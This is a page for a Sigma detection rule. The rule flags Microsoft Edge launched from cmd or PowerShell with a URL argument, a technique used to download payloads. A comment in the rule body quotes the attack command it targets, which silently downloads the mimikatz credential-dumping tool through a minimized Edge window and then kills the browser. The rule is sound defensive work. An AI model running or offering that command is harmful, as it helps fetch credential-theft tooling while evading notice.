Edge abuse for payload download via console

Status: experimental
Severity: high
Log source: category process_creation, product windows
Author: mdecrevoisier
Source: github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attemptes to download a payload directly via console.

Known false positives

Shortcuts to website (--pin-url)
Websites launched from console

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1204` User Execution

Telemetry coverage

Provider	Record / event type
Security-Auditing	Event ID 4688: A new process has been created.

Rule body

title: Edge abuse for payload download via console
description: Detects scenarios where an attacker attemptes to download a payload directly via console.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1204-User%20execution
- https://twitter.com/mrd0x/status/1478116126005641220?t=i4vTR5m1ocBY6oHZfjdn1Q&s=09
tags:
- attack.execution
- attack.t1204
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection: # start /min msedge.exe https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip && timeout 10 && taskkill /IM "msedge.exe" /F
    EventID: 4688
    Version: 2 # parent process name is available starting Windows 10 / Server 2016 and higher
    ParentProcessName|endswith:
      - \cmd.exe
      - \powershell.exe
      - \pwsh.exe # PowerShell v6
      - \powershell_ise.exe # Development GUI
    NewProcessName|endswith: \msedge.exe
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'ftp://'
      - 'www.'
  condition: selection
falsepositives:
- Shortcuts to website (--pin-url)
- Websites launched from console
level: high

Stages and Predicates

Stage 0: `condition`

selection

Stage 1: `selection`

selection:
  EventID: 4688
  Version: 2
  ParentProcessName|endswith:
    - \cmd.exe
    - \powershell.exe
    - \pwsh.exe
    - \powershell_ise.exe
  NewProcessName|endswith: \msedge.exe
  CommandLine|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'
    - 'www.'

Indicators

These rows show field, operator, and value matches.

Field	Kind	Values	Search
`CommandLine`	match	`ftp://` corpus 13 (sigma 11, elastic 1, kusto 1) `http://` corpus 23 (sigma 18, elastic 2, kusto 2, splunk 1) `https://` corpus 23 (sigma 18, elastic 2, kusto 2, splunk 1) `www.`	`field:"CommandLine" kind:match`
`NewProcessName`	ends_with	`\msedge.exe` corpus 14 (sigma 14)	`field:"Image" kind:ends_with value:"\msedge.exe"`
`ParentProcessName`	ends_with	`\cmd.exe` `\powershell.exe` `\powershell_ise.exe` `\pwsh.exe`	`field:"parent_process_name" kind:ends_with`
`Version`	eq	`2` corpus 7 (sigma 7)	`field:"Version" kind:eq value:"2"`

Edge abuse for payload download via console

Known false positives

MITRE ATT&CK coverage

Telemetry coverage

Rule body

Stages and Predicates

Stage 0: condition

Stage 1: selection

Indicators

Stage 0: `condition`

Stage 1: `selection`